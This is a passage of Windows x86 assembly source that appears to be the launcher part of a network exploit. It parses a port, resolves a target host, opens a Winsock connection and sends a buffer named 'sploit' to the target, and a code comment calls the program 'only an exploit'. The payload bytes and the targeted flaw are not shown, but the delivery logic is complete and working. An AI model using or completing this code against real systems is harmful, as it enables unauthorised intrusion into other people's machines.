test al, al
jz go
cmp al, 039h
ja port_error
cmp al, 030h
jb port_error
jmp lewp1
port_error:
push porterrl
push offset porterr
call write_console
jmp quit1
go:
mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax
mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
push ipilll
push offset ipill
call write_console
jmp quit1
ip_aight:
mov sin.sin_addr, eax
jmp continue
gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost
push reshostl
push offset reshost
call write_console
jmp quit1
gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax
continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1
connect_ok:
xor eax, eax
push eax
push sploit_length
push offset sploit
push sock
call send
push successl
push offset success
call write_console
quit1:
push sock
call closesocket
quit2:
call WSACleanup
quit3:
push 0
call ExitProcess
parse proc
;cheap parsing.. hell.. its only an exploit.
lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp
str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2
end_it:
pop edi ecx eax
ret
endp
init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp
write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp
end start